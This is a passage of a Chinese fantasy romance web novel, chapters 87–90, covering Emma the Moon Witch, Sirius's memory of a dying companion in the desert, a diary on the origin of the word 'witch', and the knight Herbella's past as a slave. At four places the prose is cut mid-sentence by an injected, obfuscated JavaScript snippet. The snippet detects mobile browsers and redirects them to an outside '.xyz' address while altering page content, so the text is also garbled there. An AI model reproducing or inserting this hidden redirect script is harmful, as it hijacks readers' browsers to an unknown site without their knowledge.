“啊,抱歉。”艾玛其实本来还对她的盘角也抱有好奇,见此情境识相地收回了手。 “没、没关系……”芬妮的耳朵又动了动,“谢谢您。” 没曾想会因此得到感谢,艾玛一阵茫然。 “您是想安慰我吧。”芬妮说,“嗯,我对自己的外貌还是比较有自信的……” 其实没有那个意思。 艾玛尝试用语言表达了一些比刚才行为更真诚的安慰:“你的外表很出色,这也是演员了不起的天赋。真心喜欢戏剧,认真地对待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376293|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表演,还有这样契合戏剧表演的魔法,我认为你很适合舞台。 “每个人都有不擅长的方面,即使在自己喜爱的事物上也一样,我能理解你为此难过,但希望你不要太执着于不完美的地方。” 芬妮双手捂着嘴,眼睛却一眨一眨地盯着艾玛。 她比艾玛还要矮一些,视线微微上抬,玫瑰色的眼睛在灯光里亮晶晶的。 她低下眼睛,想了想,向前走了半步,向艾玛的方向低了低头。 艾玛愣了愣,怀疑地伸手摸了摸芬妮的头,感到她向自己的手贴过来,蹭了蹭。 艾玛没说话,掌心里的触感是柔软的。 “我并不出生在阿瓦托芬。”芬妮的声音轻轻的,像讲一个夜晚的童谣,“我最早的记忆在沙漠里,大家都在不停地逃啊逃。 “在什么地方待一阵子,就得走了,提心吊胆地在风暴、干旱和可能出现的强盗里,寻找下一个能歇脚的地方。 “夜晚潜藏的危险最多,但那时候我最喜欢晚上。队伍里有一个很会讲故事的叔叔,晚上在帐篷里点着灯给孩子们念故事书。 “他讲得活灵活现,念不同角色台词的时候,就会装出那个角色的语气。 “爱听故事的人里还有一个比我们大一些的姐姐,如果故事没能让孩子们困倦,她就给我们唱晚安曲。她唱歌很好听。 “我们一路碰壁。逃亡的队伍里,没多少人能达到他国的入境标准,他们不会无故接纳流民。 “队伍里有人留在绿洲,寻找其他机会,也有很多人死了。 “我幸运地遇到了月神神殿派驻在其他国家的使节,才知道世上还有这样的地方。 “真不敢相信,这里的建筑,法律,和平,一切都像故事书里才会有的,一切都好得不敢置信。 “在沙漠里,没有自卫能力的美貌是罪,与大多数人不同的角和耳朵是罪,不幸是成为商品,更糟糕的是死亡。 “我见到过。我是幸运的极少数得救者。 “因为有阿瓦托芬,因为月神存在,我才能得救。” 芬妮捧住艾玛抚摸她的手,偏过头,吻了吻她的指腹,“谢谢您。” 荷尔贝拉看到艾玛开门出来,关上了化妆间的门。 她指了指房间里:“芬妮说排练前要先换一下衣服,化个妆,我就先出来了。” 走廊里没有其他人,艾玛随意看了看,说:“我想去旁边走走,一会儿就回来。” 荷尔贝拉想她不愿意干等,可以理解:“好的。如果有什么事,请用纸鸽联系我。” 这条路一头通向工作人员的准备区,艾玛就向着另一头走,在尽头看见一排台阶。原来是直达表演的舞台。 艾玛走上台阶,空心的舞台在脚步下回响。 没有演出的台上幕布紧闭,只有一束灯光从顶端打落下来,为可能经过的工作人员照明。 她回过身,望向空无一人的观众席,排列整齐的座椅在黑暗中沉默不语。 艾玛看过很多次戏剧,却从未见过如此空旷的剧场。 艾玛思考,她仍然没有什么感想。 对于芬妮的真情流露,她只能总结出一些机械的概括,从那些叙述里提炼出部分可以作为经验的信息。 除此之外,她甚至一时不知道该做出什么表情。所幸芬妮似乎也没有期待她的反应。 她在舞台上站了好一会儿,仍然没有人经过。 艾玛转过身,准备往回走。 她移过视线,落到舞台另一侧的幕布上。 幕布在灯光照射下呈出一种鲜艳的红色,但昏暗角落里的幕布是暗红的。 她抓起幕布的一角,久久凝视着那相似的红色,慢慢地,将它贴近了自己的鼻尖。 “殿下,您——” 荷尔贝拉的声音戛然而止。 她刚走过转角,看见艾玛的身影就先招呼了一声,却在看清艾玛表情的时候立刻移开视线避让。 仿佛撞破了什么不该看见的场面,停了数秒才说:“我看您一直没回来,有点担心。芬妮已经在排练的地方了,您要去看吗?” 艾玛放下幕布,说:“好的,我们走吧。” 她走下舞台,沿着原路走回去,荷尔贝拉低着头跟在她身后。 艾玛似乎没觉得有什么不对,声音和动作都很自然,仿佛刚才确实什么都没发生。只有荷尔贝拉的心跳莫名不安紧张地响动。 她意识到,那块幕布很像某个人的发色。 87.理由 “我就知道你会没事的。” 黛丝特嘎嘎笑着说,笑声嘶哑,喉咙里掺着进出的风声。 血液铺在她身下,刚离开身体就迅速地渗入沙地,没能扩散就变成一片干涸的暗红。 划破她胸腹的刀子被她拔出来捅进了别人的身体,敞开的伤口中,脏器与骨头清晰可辨,所剩不多的血液在太阳下缓慢地流动。 她躺在沙地上扔开了武器,满一副每次和人搏斗完疲惫而放松的姿态,甚至仍有精神看着他继续笑:“我还是第一次见你那么狼狈。那些家伙发现你死不了的时候,表情一定很好笑吧。” 赤砂走到她身边蹲下,尝试处理她的伤口:“少说点。” 黛丝特闭上眼睛,哼哼笑着:“伤成这样,你救得回来?” “我试试。” 先止血,法术可以让她的伤口立刻停止出血。 但是黛丝特已经失血过多,必须给她输血才行。他的血能用吗? 赤砂做完判断,拿刀划开了自己的手臂。 黛丝特抓住了他的手腕。 “我伤口好得很快。比起心疼这点血,不如先担心你的身体会不会排异。” 黛丝特看着他:“你真是个好人哦,老大。” “省点力气,活过来再谢我。” “我没救啦。” 黛丝特说,声音轻得像刮过的风沙。 “伤成这样,我自己有数。你也知道。还不如多听我说点话。” 赤砂沉默。 黛丝特仍然抓着他的手腕,那条手臂上刚切开的伤口已经肉眼可见地开始愈合,很快除了流出的血液,将不会有痕迹证明它曾存在过。 黛丝特自顾自讲起来。 “我其实不觉得‘好人’这词是夸人的话,在沙漠这地方,它从来不是什么赞美,倒像诅咒似的。 “我不信神,不信世上真有天道公理,好人都不长命……但你不一样,我头一回这么庆幸。 “我要说让你生气的话了。” 黛丝特收紧了抓在他手腕上的手,木制的义肢已经破损,指关节错乱地扭曲。 赤砂听见她说话时压着痛感的抽气,剩下那只眼睛深深地盯着他。 “我不想你死。”她说。 “凭什么呢?这世上那么多该死的人,排着队砍头都轮不到你,凭什么他们活得心安理得,为什么你却这么……这么……” 她的声音沉下去,在胸腔中的风声里起伏,像拍碎在礁石上的回声。 “我想过你可以去当个国王,做个富有的商人,老师或者医生也不错。我总觉得你什么都做得到。 “或许有一天,你可以向谁说出自己的过去,说不定再谈个恋爱……你应该要有比我能想象的‘幸福’更好的东西。 “但我最后想到……再然后呢?如果那样的人也先于你死去……是不是不再靠近人……对你才更好?” 黛丝特悲哀地,悲哀地望着他。 “我害怕你在死之前先疯了。你这样的人……不该是这种结局。” 西里斯在阳光里睁开眼睛。 入目是客房的天花板,房间的装饰朴素,几乎保留着入住前的原样,他没添设过什么东西。 手臂上传来迟钝的痛感,他低下头,看到刚刚抓着手臂的手上沾满鲜血,手臂上却没有任何伤口。 血液从指缝滑下,砸在地毯上,浸润成斑斓织线的一部分。 他感到混混沌沌,像是那天仍未从噩梦中清醒。 他坐在黛丝特尸体边发了很久的呆,月亮落下,太阳升起。 没有敌人找到他,黛丝特也没有再醒来。 鬼魂们在他脑海中嚎哭,但他什么都没想,只是坐着很久,有一阵子真的疑心自己已经如愿以偿死去,但最终这具身体仍能根据他的意志行走。 西里斯站起来,走进盥洗室,冲掉手上的血,顺便洗了把脸。眼眶是干涸的。 黛丝特说从没见过他落泪,又觉得哪天看见他流泪也不会奇怪……西里斯也不记得自己是否还有流泪这个机能了。 他怔怔盯着残余的血迹,突然在手臂上再次抓开几道血淋淋的伤口。 几乎是在伤口出现的同时,它已经完成了愈合,比过去更迅速。 痛感本应使人清醒,他却只听到头脑中的哭声和尖叫声越发清晰,身体在一瞬间仿佛和他的意识断开。 西里斯支在洗手台边,看见自己的血流进水槽里。 已经来不及了。他喃喃地想。 西里斯过了好一阵子才缓过气,心情仍然很差。 因为不需要进食,也几乎不需要睡眠,他的休息时间并不规律,但现在也没人会催他去做点什么。西里斯被宣称为女巫的亲属,因此一并被知情人当成贵客。 克蕾娜也当他是客人,西里斯去不去医疗部事前跟她打个招呼就行。 他这几天一般待在藏书室,或者到克蕾娜办公室,偶尔去门诊部搭把手。 西里斯其实只是想做点什么打发时间,具体是什么事情都差不太多。 西里斯在房间里坐了好一会儿,翻了阵子书,但并没有看进去。 他想起克蕾娜提起过的一个病例今天有复诊,说想跟他讨论讨论。看看时间,她大概已经回了办公室。 干坐着于他的糟糕心情无补,西里斯便决定走一趟,顺便去藏书室还掉昨天的借书。 通过魔法制作的药物在阿瓦托芬较为常见,城内的药店就可以购得,大部分日常疾病居民可以自行处理,不得不来看医生的病症各有各的奇怪,但总归数量较少,医疗部平时不是特别繁忙。 西里斯已经熟悉医疗部办公区的路,这个时间克蕾娜办公室附近没什么人,大部分职员不是在门诊就是已经下班。 她向来在办公室停留得比较久,一部分是出于她个人在医学研究上的兴趣,另一部分,克蕾娜是个实在认真负责的医生,为病例加班是常有的事。 他走到克蕾娜办公室门前的走廊转角,就和守在门边的护卫撞上了视线。 西里斯见过她,叫做荷尔贝拉的监察骑士。 荷尔贝拉看了他一眼,就移开了目光,仿佛有意避让。 西里斯不在意她的目光,只是这里守着监察骑士,大抵就能猜到门里的光景。 他犹豫了三秒,照常敲门。 没等门里传来回音,门板就被唰地打开。 克蕾娜一见来人确实是他,松了口气。房间内的艾玛也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381864|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身来,正盯着门口。 “抱歉,女巫殿下,我突然想起我还有点事,很急,抱歉先告辞了。两位聊。” 克蕾娜向艾玛欠一欠身,向西里斯看一眼,把他拨进门里,自己迅速溜了,不忘把门带上。 两人一时都没说话。 根据西里斯最近对克蕾娜的了解,她们大概没聊什么。 艾玛显然是来等他的,克蕾娜大抵是为这情境尴尬才匆匆走了。 “等了很久吗?”西里斯问。 “没有,只是稍微坐了一会儿。” “是有什么事?” “你之前说,下次会给我带一些跟艾佩庇里亚有关的书。但是好几天都没见到你……我想来问问。可能是我心急了,如果你最近在忙其他事,下次给我也可以。” “关于那个,我后来又想了想,我选出来的书不一定适合你。”西里斯从袖口里拿出那把镶着蓝宝石的黄铜钥匙,“如果你对艾佩庇里亚真的有兴趣,可以自己去藏书室找找看,女巫的直觉比我更加准确。这把钥匙还是还给你。” 艾玛愣了一下:“你用不着吗?” “我不需要进入第三层,用不上主祭司的钥匙。如果需要前两层的藏书,向克蕾娜小姐借用她的钥匙就够了。” 艾玛接过钥匙,沉默了一会儿,抬起头望向他:“那我该用什么理由来找你?” 西里斯想,他应该头痛的。 可事实是在见到艾玛之后,他原本的头痛反而减轻下去,那些躁动的、不快的情绪,也只是因为听见她的声音就被缓缓抚平了。 阿瓦托芬必定在地理上具有特殊之处,这大概就是它被称为“地上的月亮”的缘由。西里斯近来隐约有所察觉,这里存在某种与月神相关联的“力场”。 受到那能量的影响,他身体里的鬼魂比在其他地区的正常状态下更为平静。 但他早已习惯待在艾玛附近,哪怕这里的“力场”与女巫同源,也远远比不上女巫身边的能量强度。 就像长期服用大剂量镇痛药之后,使用剂量突然减少到原本的百分之一,虽然仍有镇痛效果,也比不用好不了多少。 长期服用镇痛药物会使病人产生增加疼痛耐受性的负面效果,但西里斯反而对早已习惯的鬼魂声变得更加敏感,像是因为停药的反噬而使得病情更加严重。 西里斯不认为自己是个合格的医生,但他仍能判断,这绝不是正确的治疗方式,无论对他还是对艾玛都没有好处。 要继续拒绝吗? 艾玛仍然望着他。 西里斯在心里叹了口气。 他其实知道,在艾玛面前,他并没有为自己准备太多拒绝的选项。 那份契约是他亏欠在先,她为此要求任何东西都理所应当。 “随时可以。”他说,“只要你想。” 西里斯不愿意承认,情感的变化在消解理智堆砌的壁垒,他对艾玛的感情已经超出他所预想的范畴,让西里斯甚至本能地想要向她给出更多东西。 这信号让他感到危险。 但事到如今……他看着艾玛明亮起来的眼睛,自嘲地想。 如果他真的从来是那么理性的人,很多事都不必落到现在的地步了。 88.停留 “没什么事也可以来找你吗?”仿佛不确信般,艾玛追问了一句。 “可以。” 艾玛愣了一会儿:“那……你接下来有空吗?” 西里斯看了看窗外的天色:“差不多是晚餐时间了。” “啊,是,你不想吃东西吧……” “我可以看你吃。”西里斯移回视线,“我没去过这里的食堂,你有推荐吗?” 安静了几秒,艾玛点头:“我跟贝拉说一声。” 西里斯打开门的时候就看到了克蕾娜,她手里抱着盆药用植物,正和门边的荷尔贝拉在说什么,见到他们便停下来。 克蕾娜咳了一声,对走出门的艾玛解释:“我刚刚去温室拿了盆草……” “打扰你了,克蕾娜小姐。”艾玛向她点头,又对荷尔贝拉道,“我和西里斯去食堂吃晚饭,迟点我会自己回房间的。你先回去吧,贝拉。” 荷尔贝拉行礼表示明白。 克蕾娜稍微有点意外。艾玛的心情显然好了很多。 克蕾娜其实认为艾玛是表情变化不大的那类,这也是她跟艾玛独处时颇有点忐忑的原因之一。 克蕾娜不擅长察言观色,向来不会应付善于掩盖自身真实心情的人。 别人也就算了,但总不该对女巫失礼。 可艾玛的心情转好是一目了然的,连她都能很清晰地认识到。 这也说明刚才在房间里等待的时候,女巫殿下心情不好不是错觉啊。克蕾娜想。虽然也不是因为她的关系。 西里斯还记得跟克蕾娜有约:“之前那个病例……” 克蕾娜摆摆手:“不着急,看你什么时候有空吧。” 西里斯点头回了句抱歉,跟艾玛一起离开了。 两个人的距离不远不近,没有肢体接触。西里斯比艾玛高一些,向她说话时会低过头,艾玛也抬起头答复。 没什么意义的闲散对话散落在走廊里,和窗外遥遥的人声混和。 真是奇怪的关系。克蕾娜想。 门没上锁,她不用再费劲去找钥匙,克蕾娜正准备回办公室,打算和荷尔贝拉招呼一声,刚开口就看到荷尔贝拉正盯着艾玛他们离去的身影,神色令人难以理解。 克蕾娜再看了看他们的背影,没觉得有什么特别:“那个,贝拉……” 荷尔贝拉回过神:“啊,克蕾娜医生,这个……这盆植物重吗,我帮您搬进去吧?” “不用,这点分量我还是搬得动的。你刚刚……呃,差不多是该吃晚饭了。” “嗯,还有点时间,我先回巡查队一趟。您也是,请不要忙坏身体。我先告辞了。” 荷尔贝拉行完礼,转身从反方向离开。 克蕾娜看见她拿出一只纸鸽,向它低语了一句,纸鸽扑棱棱地扎进了鲜红的晚霞里。 克蕾娜对荷尔贝拉印象不错。 在特殊时期,医疗部人手不足的时候,荷尔贝拉有过来帮忙。 她做事细心且耐心,教过的要领一遍就能记住。 话少了些,算不上什么缺点,帮忙传达消息时转述得很准确,她在沟通用语上的一些技巧让克蕾娜很佩服。 不是聊天时偶然提起,克蕾娜也不知道她来自于罗穆卢斯。 罗穆卢斯虽然在地理上距离阿瓦托芬遥远,但国家庞大,居民众多,月神的信仰又是国内主要的信仰之一,为了朝圣而来到阿瓦托芬的信徒不在少数。克蕾娜也在神殿内见过数个出身罗穆卢斯的职员。 克蕾娜很熟悉罗穆卢斯贵族中的“伪姓”制度,家里的长年的仆佣也多会有这点不痛不痒的“恩赏”。 但“荷尔”并不是那些伪姓中常见的用词之一,所以克蕾娜一开始没往这方面想。 做奴隶的过去肯定不是什么愉快经历,荷尔贝拉提及过往时总不愿意多说,识相的就大都不会再提别人的伤心事。 有过奴隶这身份的话题比她出身自哪里更敏感,也可以理解为什么很少有人谈论她的来历。 “荷尔”,这个词的词根有点老了,克蕾娜依稀记得来自于古罗穆卢斯语。 她对语言学兴趣缺缺,也就不太确定。 但以荷尔贝拉的谈吐教养,她曾经的主人一定出身不低,会给她这么一个伪姓,可能是贵族为了炫耀自身的仁慈,也或者是真的看重吧。 克蕾娜对此没有多余感想。 如果她有那种在异地遇见同乡就会倍感亲切的故乡情结,现在也不会身处阿瓦托芬。 说起来,作为神谕祭司所属的监察骑士,她跟利利提亚走得蛮近的。 克蕾娜想到另一个同乡,心情顿时不愉快起来。 荷尔贝拉的传讯法术非常特殊,适用场景也广泛,利利提亚在人尽其用上从不客气,肯定没少使唤她。 她又那么好脾气,恐怕是被那小子欺负了都不吱声的。克蕾娜越想越有些为荷尔贝拉不平。 另外……荷尔贝拉要是真出身于罗穆卢斯某个高贵的家族,当年一定听说过利利提亚。但愿她不要因为那些传闻对这家伙有什么滤镜…… 克蕾娜想起利利提亚那张漂亮得她真生了气也不好意思攻击的脸,很有点气馁。希望是她想多了。 克蕾娜把药用植物放到架子上,摇摇头将思绪扔到一边,回到办公桌前继续自己被打断的工作。 晚餐时他们吃得不多,艾玛胃口不大,西里斯只要了杯水,一直看着窗外的风景,偶尔目光落回艾玛身上,就食物的话题随口聊两句。 就餐时毕竟不是个适合聊天的场合,他们吃完,食堂的人也正开始多起来,她便邀西里斯一起去外面散步。 傍晚是职员下班的高峰期,神殿的走廊庭院比平时更喧闹,他们直接往阿瓦托芬城里走,混杂于职员回到城里住所的人流。 能聊的无非是见闻和近况。往常他们旅行时,所见几乎是相同的,少有这样了解的东西迥异的时候。 医疗部的话题和专业知识都太枯燥,西里斯随口讲了两句,跟艾玛讨论了一会儿藏书室保存书籍的方式,大多时间只听着她讲。 夜色渐渐浸染上天空,星星坠落到街边的灯盏里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388394|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,热闹的人声被缓和了,在街面上光凝成的湖里摇晃,没有重量的水面在她脚边漾开波纹。 艾玛问他:“你觉得这里怎么样?” “不错。繁荣又安定的城市,想必是很多人的理想乡。” “我们旅行的时候,停留得都不太久,有些差异只在久住的时候会显现出来。你在哪些地方长住过吗?” 西里斯稍微想了想:“几乎没有……遇见你之前,我一直在旅行,偶尔在途径的地方停留一到三个月,这算长的。真的要算,在费拉约尔斯待的那七年就是最久的了。” “诶,那对你来说是不是不太适应?你把管家的工作完成得很好,我没想过……” “不,我觉得那样不错。长期待在同一个地方,对环境的了解更详细,把握也会更深,有很多方便。”西里斯说,“我不停地旅行,是因为我在找人,不可能干坐着等消息送上门来。” “说来,你提到过,是一位占卜师替你预言了我的方位。”艾玛想起菲提,“我最近接触过神殿的天象祭司,她也说占卜师观测不了女巫的命运。替你预言的那位占卜师应该很强吧,甚至能‘看到’还没有觉醒的我。” “应该吧。我跟那个占卜师并不熟悉,只是旅途中偶然碰到,救了她一次,她执意要为我占卜。 “我当时没抱期待,因为从来没有占卜师能够卜测我的命运,更不要说女巫。” 西里斯停了停,“强行观测位格在自身之上的存在的命运折损寿数,我也不明白她为什么这么执着。她占卜途中就双目流血,仍然坚持,最后失了明。 “她给我指了个方位,告诉我‘你要找的人在那里’。我甚至没向她提过女巫……但这么多年,敢为我占卜到这个地步的占卜师,她是头一位,所以我想相信她试试。现在,我该感谢她。” 艾玛眨了眨眼睛。 她想到菲提说的,占卜师也是一种“窗口”,他们所转达的答案本身就是一种命运。 或许西里斯会遇见她这件事本身就写在命运的河流之中……命运真是说不清道不明的东西。 她一时陷入沉思,直到西里斯的声音在夜风里向她吹过来,像另一阵波纹的摇晃: “你想过要留在什么地方吗?” 艾玛怔怔地看着他,有片刻的茫然,不知怎么突然回到了上一个话题。 但她不知道怎么形容西里斯那时的表情,那里有她一直以来无法触及、更不能理解的东西。 令她感到陌生和不安的隔阂,仿佛强调着他们的不同。 “我……” 艾玛想起,她确实,从来没有思念过任何一片土地。 无论是她出生的故乡,还是她曾经久居的城市,离开时,她都并不觉得可惜。 她想起当她提出要离开费拉约尔斯的时候,西里斯表情中的那一点……失望。 艾玛感到无措。 “我没有想影响你判断的意思,愿不愿意留在哪里都是你的选择。” 西里斯转过头,移开了视线,“抱歉,当我没说过吧。” 89.词源 是因为她是“女巫”,所以无法理解吗? 艾玛把奥辛莱特的日记往回翻。在所有一时兴起记载的菜谱、各式各样的知识资料、日程安排计划草稿中,奥辛莱特的实际见闻、经历叙述都写得非常详略失当。 因为是写给自己看的东西,她书写时并没有考虑过他人阅览的体感。 在简单地翻阅过奥辛莱特的日记之后,艾玛终于确认,“女巫的日记”并不关乎“女巫的秘密”。 就像奥辛莱特在扉页所说,答案不在这本日记里,日记本身只关乎奥辛莱特本人的一生。 就像封面上其实只有“日记”两个字,只因为她是女巫才被冠以了那样的前缀。 她并未打算让其他人阅读自己留下的日记,但另外的女巫不算“其他人”。 “女巫”到底是什么? 奥辛莱特的日记中有一段让艾玛有些在意。 在初到阿瓦托芬,充满新鲜感的热情与好奇过去之后,奥辛莱特开始对文字产生兴趣。 在研究和改良文字的途中,对于“女巫”这个词语的起源,她在日记中如此写道: “我很早就感到过好奇,为什么我们被称为‘女巫’? 众所周知,‘巫师’在大众口中完全是个贬义的称呼,用于指代那些通过掠夺手段不正当获取天赋的魔法师。 ‘女巫’最早的释义应该就是‘女性巫师’,而且,我发现,至今在不少地区,人们对‘女巫’这个词仍然作此理解。 有一些与神殿往来的使节提到‘女巫’时似乎颇感别扭,尝试用‘女王’等词语代称。 大概可以确认,这个词是在宗教信仰介入之后变质为具有特殊含义的特定词语的。 …… 找到了一些有趣的记载。 起源似乎是日神神殿的第一任女巫,珀耳亚斯。 因为女巫天生具有超常的法术天赋,珀耳亚斯被附近的聚落所畏惧。 他们污蔑珀耳亚斯的法术天赋并非正当获得,是窃取偷盗者,该受诅咒,以‘女巫’这个词语来诋毁她。 那个时代有关魔法的起源研究等深入程度都不及现在,更没有普及,可以说是非常原始的社会。 即使有能够使用魔法的人,也多认为是自然和神秘力量的给予,在信仰上不成体系。 他们对珀耳亚斯的污蔑让聚落中许多人疑虑惶恐。 珀耳亚斯对此大为愤怒,以武力手段统一了附近聚落,将当地命名为‘赫克米洛斯’——‘太阳庇佑之地’,在那里建立起了日神神殿的雏形。 到那个时候,已经没有人敢对她使用蔑称,但珀耳亚斯坚持使用‘女巫’这个词作为自己的称谓,最后所有人不得不为她的固执改口,反过来更改‘女巫’这个词语的定义。 啊,真是个不错的故事。 我也有因为异常的法术天赋被人称呼为‘巫师’的时候,恐怕在‘我们’来到神殿之前,都可能遇到这样的经历。 我喜欢这个理由,她真体贴。 通用文字的设计是日神神殿和月神神殿共同研究的,因为各种各样的障碍,至今仍在反复改动。 语言的细微会随着时代变化是自然的事,但对于想要将这种语言播至陆上最远处的我们来说,它必须更能经受时间的考验。 现在的版本明明已经很像模像样,但还是不够。 真头疼,是不是研究点便捷的翻译魔法道具更省力? 哎。 现在好像没什么人记得‘女巫’这个词的来历了,恐怕很多人会因为字面上的理解想当然,认为一定会是‘女’巫。 唔,如果我们之中,将来会有男性——好像不能排除这个可能。 在感到抱歉之前,还是更加觉得好笑。留给‘他’头疼吧。” “女巫”中是可能存在男性的。 奥辛莱特的日记里表达了这个意思,艾玛不能不多想。 西里斯的法术才能对于普通魔法师是压倒性的,他笃信除了女巫之外,没有人能够杀死他。 西里斯对女巫的了解很深,甚至比神殿中许多祭司所知道的都更多,即使他花了多年搜寻情报,那些信息真的是能从外界得到的吗? 还有,西里斯看得见奥辛莱特的日记本上,只有女巫才能看见的文字…… 证据似乎很多。 但艾玛总觉得,不对,有哪里不一样。 奥辛莱特在日记中曾讲到过故乡,从夹杂着怀念的痛恶到偶尔随口提及的无所谓。 她刚来到月神神殿的时候还很年轻,在日记开头的那几年,口吻稚嫩且情绪化,艾玛记得自己从来没有过她那样感情充沛的时期。 看来即使同为月神女巫,性格也可能不同。那么艾玛对故乡的无关心似乎就不能简单归咎于“她是个女巫”。 艾玛思来想去,仍然不明白。 如果出生的地方等同故乡,她对故乡的怀念最多只有与母亲相关的部分。 艾玛想,要是她遇见西里斯的地方是她出生的那座小镇,说不定她还能多想念那个地方一点。 艾玛从沉思中回过神来的时候,注意到荷尔贝拉正盯着她桌面上的书本。 她有时不想出门,从藏书室借来书便在房间里坐着。 荷尔贝拉要尽她护卫的职责,坚持守在艾玛门前。 走廊没有人,也没什么风景,太无聊了,艾玛便提议她进房间里一起坐坐,随便找本书看。 荷尔贝拉接受了进入房间陪同,但从不就坐,也不看书,只是在艾玛视线角落尽量不碍眼地站着。 虽然艾玛觉得在房间里干站着的无聊程度只比在走廊上看墙壁要好上那么一点,但想来别人的专业自有她自己的坚持,就不多说什么。 见荷尔贝拉盯着自己的桌面,艾玛第一反应是想她是不是对哪本书感兴趣,第二反应是她是不是嫌桌面太乱。 仔细一回想,荷尔贝拉这么看着她桌上的书好像不是第一次。 艾玛只思考了两秒,选择了直问:“贝拉,这里有你感兴趣的书吗?” 荷尔贝拉因为突然的问题惊了一下,相对放松的站姿立刻紧绷,迅速回答:“没有。” 艾玛理了理桌面的书,一本一本拿起来问:“这本吗?” “不……不是。” “这本?” 荷尔贝拉沉默了片刻,目光犹豫地落到其中一本上:“那本……《一千零一夜》。” “哦!”艾玛拿起那本书看了一眼,递给她,“你眼光真好。” 荷尔贝拉的双手仍然背在身后,没有去接,结结巴巴地道:“我只是……有点好奇……” “这是我自己的书,旅行时候偶然从商队里换到的。每一个篇章都用不同材质的石纹纸制作,听说有根据故事来历考据过进行的选择,里面还有很多花哨的工艺。 “收藏价值比阅读价值高,但我挺喜欢的。”艾玛仍然伸着那本书,“要看看吗?” 荷尔贝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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艾玛继续道:“我们那边虽然不禁止奴隶看书,但也没多少人认字,故事都是到处听来的。 “买书看书……作为奴隶是太奢侈了,恐怕会被同伴以为是炫耀,被主人以为别有用心而警惕……这么一想,奴隶被发现在看书,确实结果都不会好。” “是的……奴隶如果识字,就不能随意接触文书,因为可能造成秘密泄露。如果识字,能够看书,变得太有想法,会被主人担心不够忠诚听话。 “所以,奴隶被允许掌握的技能,被允许接触的东西,都是有限度的。” 荷尔贝拉说完,艾玛点头表示赞同,确有此现象。 她沉默了半晌,才说:“我没想到您会告诉我。” “什么?”艾玛花了一秒理解这句话,“你指‘我曾经是奴隶’的事吗?” 荷尔贝拉沉默地点头。 “这是发生过的事实,我没有觉得提起来难堪。”艾玛说,“我不喜欢身为奴隶时期的很多事情,但对我来说,那已经是过去式。现在的我是安全的,提到它不会让我感到受伤。 “但我知道,在一个身份里受过巨大伤害的人,即使走出那个身份,也还是可能一触及遗留的阴影就感到痛苦。所以,我不会用我的幸运去要求不幸的人与我同等乐观。” 荷尔贝拉仍然沉默。 艾玛说:“如果你不喜欢这个话题,我们可以跳过。如果它让你受伤,我应该道歉。” “不。请不必……对我说这样的话。” 荷尔贝拉终于开口,低着目光:“我是……幸运者。我为这份幸运而愧疚。” 90.一千零一夜 艾玛有点意外地“哦”了一声。 荷尔贝拉悄悄确认了艾玛的视线,认为她仍然看着自己,并对这个话题有兴趣,且没有责备的意思,才好好斟酌起语言来。 “我的父亲和母亲都是奴隶。虽然,我不记得他们的样子。 “在那个国家,人出生的时候,身份就注定了。 “我在奴隶培育所待到五岁,被一位贵族买下。 “奴隶被当作物品,没有权利,没有自由,随时可能因为主人的喜怒而被毁弃。 “同僚间的氛围死气沉沉,即使是互相交心的朋友,也可能因为工作上的过错将对方推出去顶罪。我看到很多这样的事情。 “我不擅长说话,后来说得更少,沉默更安全。 “我在那个家族工作了三年。八岁的时候,有一天,宅邸里来了贵客。 “我去前厅端茶,主人家的孩子跑过时撞到我身上,我摔倒了,打翻了托盘上的茶具。 “热茶泼到那孩子身上,他开始哭闹。我收拾了茶具,但我不知道怎么安慰他。 “主人听见哭声很快从前厅里出来,看见了我,很生气。 “我想大概完了。他平时就是个会动辄打骂奴隶的人,在他要打我的时候,跟着从前厅里出来的客人劝止了他。 “她……那位夫人,走到我面前,蹲下来,劝慰那个哭闹的孩子。他很快不哭了。 “然后她突然转过目光,看着我。我躲避了她的眼睛。 “她问我有没有受伤,然后拉过我的手看了一会儿。我手臂上很多伤,我觉得羞愧……感到无所适从。我自始至终没敢正视她。 “她从那位贵族手里买下了我。 “我不知道他们交谈的细节,只能后来猜想。 “她有一个非常显赫的姓氏,本人也极有声望,那位贵族没有拒绝她的理由。 “我至今不知道她出于什么原因买下我,又或许,最单纯的,只是她同情我。 “如果她当时不带我离开,或许那一次,也或者不远的下一次,我会因为某个错误死在那个地方。她一定知道。 “她是我见过最美丽、最富有智慧的女人,没有人比她更仁慈和高尚。 